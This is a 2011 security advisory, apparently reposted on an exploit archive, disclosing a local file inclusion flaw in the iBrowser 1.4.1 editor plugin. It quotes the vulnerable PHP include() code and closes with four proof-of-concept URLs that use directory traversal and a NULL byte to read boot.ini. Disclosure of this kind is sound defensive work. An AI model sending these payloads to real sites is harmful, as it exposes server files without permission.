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iBrowser Plugin 1.4.1 Local File Inclusion

iBrowser Plugin 1.4.1 Local File Inclusion
Posted Sep 16, 2011
Authored by LiquidWorm | Site zeroscience.mk

iBrowser plugin version 1.4.1 suffers from a local file inclusion vulnerability / file disclosure vulnerability when input passed thru the 'lang' parameter to ibrowser.php, loadmsg.php, rfiles.php and symbols.php is not properly verified before being used to include files. This can be exploited to include files from local resources with directory traversal attacks and URL encoded NULL bytes.

tags | exploit, local, php, file inclusion
MD5 | 21c69e820a3468c7dd0b243efc200013

iBrowser Plugin 1.4.1 Local File Inclusion

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iBrowser Plugin v1.4.1 (lang) Local File Inclusion Vulnerability


Vendor: net4visions.com
Product web page: http://www.net4visions.com
Affected version: <= 1.4.1 Build 10182009

Summary: iBrowser is an image browser plugin for WYSIWYG editors like
tinyMCE, SPAW, htmlAREA, Xinha and FCKeditor developed by net4visions.
It allows image browsing, resizing on upload, directory management and
more with the integration of the phpThumb image library.

Desc: iBrowser suffers from a file inlcusion vulnerability (LFI) / file
disclosure vulnerability (FD) when input passed thru the 'lang' parameter
to ibrowser.php, loadmsg.php, rfiles.php and symbols.php is not properly
verified before being used to include files. This can be exploited to
include files from local resources with directory traversal attacks and
URL encoded NULL bytes.


======================================================================
/langs/lang.class.php:
----------------------------------------------------------------------

67: function loadData() {
68: global $cfg;
69: include( dirname(__FILE__) . '/' . $this -> lang.'.php' );
70: $this -> charset = $lang_charset;
71: $this -> dir = $lang_direction;
72: $this -> lang_data = $lang_data;
73: unset( $lang_data );
74: include( dirname(__FILE__) . '/' . $cfg['lang'].'.php' );
75: $this -> default_lang_data = $lang_data;
76: }

======================================================================


Tested on: Microsoft Windows XP Professional SP3 (EN)
Apache 2.2.14 (Win32)
PHP 5.3.1
MySQL 5.1.41


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
liquidworm gmail com


Advisory ID: ZSL-2011-5041
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5041.php


15.09.2011

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http://[SOME_CMS]/jscripts/tiny_mce/plugins/ibrowser/ibrowser.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00
http://[SOME_CMS]/jscripts/tiny_mce/plugins/ibrowser/scripts/loadmsg.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00
http://[SOME_CMS]/jscripts/tiny_mce/plugins/ibrowser/scripts/rfiles.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00
http://[SOME_CMS]/jscripts/tiny_mce/plugins/ibrowser/scripts/symbols.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00
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